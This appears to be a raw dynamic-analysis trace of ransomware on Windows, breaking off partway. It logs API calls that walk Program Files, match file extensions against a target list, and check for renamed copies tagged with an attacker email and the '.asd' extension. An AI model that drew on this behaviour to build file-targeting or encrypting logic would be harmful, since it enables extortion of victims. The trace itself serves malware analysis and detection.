[0057.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0057.612] lstrlenW (lpString=".zip") returned 4 [0057.612] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0057.612] lstrlenW (lpString=".rar") returned 4 [0057.612] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0057.612] lstrlenW (lpString=".bz2") returned 4 [0057.612] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0057.612] lstrlenW (lpString=".7z") returned 3 [0057.612] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0057.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0057.612] lstrlenW (lpString=".dbf") returned 4 [0057.612] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0057.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0057.612] lstrlenW (lpString=".1cd") returned 4 [0057.612] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0057.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0057.612] lstrlenW (lpString=".jpg") returned 4 [0057.612] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0057.612] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0057.612] lstrlenW (lpString="16to9Squareframe_SelectionSubpicture.png") returned 40 [0057.612] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.753] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=3286) returned 1 [0058.753] CloseHandle (hObject=0x184) returned 1 [0058.753] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png")) returned 0x20 [0058.753] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0058.754] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.754] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0058.754] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0058.754] lstrlenW (lpString=".doc") returned 4 [0058.754] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.754] lstrlenW (lpString=".docx") returned 5 [0058.754] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0058.754] lstrlenW (lpString=".pdf") returned 4 [0058.754] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.754] lstrlenW (lpString=".xls") returned 4 [0058.754] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.754] lstrlenW (lpString=".xlsx") returned 5 [0058.754] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0058.754] lstrlenW (lpString=".ppt") returned 4 [0058.754] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.754] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0058.754] lstrlenW (lpString=".zip") returned 4 [0058.754] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.754] lstrlenW (lpString=".rar") returned 4 [0058.754] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.754] lstrlenW (lpString=".bz2") returned 4 [0058.755] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.755] lstrlenW (lpString=".7z") returned 3 [0058.755] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.755] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0058.755] lstrlenW (lpString=".dbf") returned 4 [0058.755] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.755] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0058.755] lstrlenW (lpString=".1cd") returned 4 [0058.755] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.755] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0058.755] lstrlenW (lpString=".jpg") returned 4 [0058.755] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.755] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0058.755] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0058.755] lstrlenW (lpString=".doc") returned 4 [0058.755] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.755] lstrlenW (lpString=".docx") returned 5 [0058.755] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0058.755] lstrlenW (lpString=".pdf") returned 4 [0058.755] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.755] lstrlenW (lpString=".xls") returned 4 [0058.755] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.755] lstrlenW (lpString=".xlsx") returned 5 [0058.755] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0058.755] lstrlenW (lpString=".ppt") returned 4 [0058.755] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.755] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0058.755] lstrlenW (lpString=".zip") returned 4 [0058.755] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.755] lstrlenW (lpString=".rar") returned 4 [0058.756] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.756] lstrlenW (lpString=".bz2") returned 4 [0058.756] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.756] lstrlenW (lpString=".7z") returned 3 [0058.756] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.756] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0058.756] lstrlenW (lpString=".dbf") returned 4 [0058.756] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.756] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0058.756] lstrlenW (lpString=".1cd") returned 4 [0058.756] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.756] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0058.756] lstrlenW (lpString=".jpg") returned 4 [0058.756] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.756] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0058.756] lstrlenW (lpString="4to3Squareframe_SelectionSubpicture.png") returned 39 [0058.756] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.757] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=3304) returned 1 [0058.757] CloseHandle (hObject=0x184) returned 1 [0058.757] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png")) returned 0x20 [0058.757] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0058.757] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.757] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0058.757] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0058.757] lstrlenW (lpString=".doc") returned 4 [0058.757] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.757] lstrlenW (lpString=".docx") returned 5 [0058.757] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0058.757] lstrlenW (lpString=".pdf") returned 4 [0058.757] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.757] lstrlenW (lpString=".xls") returned 4 [0058.757] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.757] lstrlenW (lpString=".xlsx") returned 5 [0058.757] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0058.757] lstrlenW (lpString=".ppt") returned 4 [0058.757] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.757] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0058.757] lstrlenW (lpString=".zip") returned 4 [0058.758] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.758] lstrlenW (lpString=".rar") returned 4 [0058.758] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.758] lstrlenW (lpString=".bz2") returned 4 [0058.758] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.758] lstrlenW (lpString=".7z") returned 3 [0058.758] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.758] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0058.758] lstrlenW (lpString=".dbf") returned 4 [0058.758] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.758] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0058.758] lstrlenW (lpString=".1cd") returned 4 [0058.758] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.758] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0058.758] lstrlenW (lpString=".jpg") returned 4 [0058.758] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.758] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0058.758] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0058.758] lstrlenW (lpString=".doc") returned 4 [0058.758] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.758] lstrlenW (lpString=".docx") returned 5 [0058.758] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0058.758] lstrlenW (lpString=".pdf") returned 4 [0058.758] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.758] lstrlenW (lpString=".xls") returned 4 [0058.758] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.758] lstrlenW (lpString=".xlsx") returned 5 [0058.758] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0058.758] lstrlenW (lpString=".ppt") returned 4 [0058.758] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.758] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0058.759] lstrlenW (lpString=".zip") returned 4 [0058.759] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.759] lstrlenW (lpString=".rar") returned 4 [0058.759] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.759] lstrlenW (lpString=".bz2") returned 4 [0058.759] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.759] lstrlenW (lpString=".7z") returned 3 [0058.759] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.759] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0058.759] lstrlenW (lpString=".dbf") returned 4 [0058.759] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.759] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0058.759] lstrlenW (lpString=".1cd") returned 4 [0058.759] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.759] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png") returned 83 [0058.759] lstrlenW (lpString=".jpg") returned 4 [0058.759] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.759] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0058.759] lstrlenW (lpString="4to3Squareframe_VideoInset.png") returned 30 [0058.759] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.760] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=3467) returned 1 [0058.760] CloseHandle (hObject=0x184) returned 1 [0058.760] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png")) returned 0x20 [0058.760] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0058.760] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.760] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0058.760] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0058.760] lstrlenW (lpString=".doc") returned 4 [0058.760] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.760] lstrlenW (lpString=".docx") returned 5 [0058.760] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0058.760] lstrlenW (lpString=".pdf") returned 4 [0058.760] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.760] lstrlenW (lpString=".xls") returned 4 [0058.760] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.760] lstrlenW (lpString=".xlsx") returned 5 [0058.760] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0058.760] lstrlenW (lpString=".ppt") returned 4 [0058.760] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.760] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0058.760] lstrlenW (lpString=".zip") returned 4 [0058.760] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.760] lstrlenW (lpString=".rar") returned 4 [0058.760] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.761] lstrlenW (lpString=".bz2") returned 4 [0058.761] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.761] lstrlenW (lpString=".7z") returned 3 [0058.761] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.761] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0058.761] lstrlenW (lpString=".dbf") returned 4 [0058.761] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.761] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0058.761] lstrlenW (lpString=".1cd") returned 4 [0058.761] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.761] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0058.761] lstrlenW (lpString=".jpg") returned 4 [0058.761] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.761] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0058.761] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0058.761] lstrlenW (lpString=".doc") returned 4 [0058.761] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.761] lstrlenW (lpString=".docx") returned 5 [0058.761] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0058.761] lstrlenW (lpString=".pdf") returned 4 [0058.761] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.761] lstrlenW (lpString=".xls") returned 4 [0058.761] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.761] lstrlenW (lpString=".xlsx") returned 5 [0058.761] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0058.761] lstrlenW (lpString=".ppt") returned 4 [0058.761] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.761] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0058.761] lstrlenW (lpString=".zip") returned 4 [0058.761] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.762] lstrlenW (lpString=".rar") returned 4 [0058.762] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.762] lstrlenW (lpString=".bz2") returned 4 [0058.762] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.762] lstrlenW (lpString=".7z") returned 3 [0058.762] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.762] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0058.762] lstrlenW (lpString=".dbf") returned 4 [0058.762] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.762] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0058.762] lstrlenW (lpString=".1cd") returned 4 [0058.762] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.762] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png") returned 74 [0058.762] lstrlenW (lpString=".jpg") returned 4 [0058.762] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.762] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0058.762] lstrlenW (lpString="babyblue.png") returned 12 [0058.762] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0059.173] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=12349) returned 1 [0059.173] CloseHandle (hObject=0x1fc) returned 1 [0059.173] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png")) returned 0x20 [0059.173] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.173] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.173] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0059.173] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0059.173] lstrlenW (lpString=".doc") returned 4 [0059.173] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0059.173] lstrlenW (lpString=".docx") returned 5 [0059.173] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0059.173] lstrlenW (lpString=".pdf") returned 4 [0059.173] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0059.173] lstrlenW (lpString=".xls") returned 4 [0059.174] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0059.174] lstrlenW (lpString=".xlsx") returned 5 [0059.174] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0059.174] lstrlenW (lpString=".ppt") returned 4 [0059.174] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0059.174] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0059.174] lstrlenW (lpString=".zip") returned 4 [0059.174] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0059.174] lstrlenW (lpString=".rar") returned 4 [0059.174] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0059.174] lstrlenW (lpString=".bz2") returned 4 [0059.174] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0059.174] lstrlenW (lpString=".7z") returned 3 [0059.174] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0059.174] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0059.174] lstrlenW (lpString=".dbf") returned 4 [0059.174] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0059.174] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0059.174] lstrlenW (lpString=".1cd") returned 4 [0059.174] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0059.174] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0059.174] lstrlenW (lpString=".jpg") returned 4 [0059.174] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0059.174] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0059.174] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0059.174] lstrlenW (lpString=".doc") returned 4 [0059.175] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0059.175] lstrlenW (lpString=".docx") returned 5 [0059.175] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0059.175] lstrlenW (lpString=".pdf") returned 4 [0059.175] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0059.175] lstrlenW (lpString=".xls") returned 4 [0059.175] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0059.175] lstrlenW (lpString=".xlsx") returned 5 [0059.175] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0059.175] lstrlenW (lpString=".ppt") returned 4 [0059.175] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0059.175] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0059.175] lstrlenW (lpString=".zip") returned 4 [0059.175] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0059.175] lstrlenW (lpString=".rar") returned 4 [0059.175] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0059.175] lstrlenW (lpString=".bz2") returned 4 [0059.175] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0059.175] lstrlenW (lpString=".7z") returned 3 [0059.175] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0059.175] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0059.175] lstrlenW (lpString=".dbf") returned 4 [0059.175] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0059.175] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0059.175] lstrlenW (lpString=".1cd") returned 4 [0059.175] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0059.176] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png") returned 64 [0059.176] lstrlenW (lpString=".jpg") returned 4 [0059.176] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0059.176] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0059.176] lstrlenW (lpString="16_9-frame-image-mask.png") returned 25 [0059.176] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0059.564] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1551) returned 1 [0059.564] CloseHandle (hObject=0x170) returned 1 [0059.564] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png")) returned 0x20 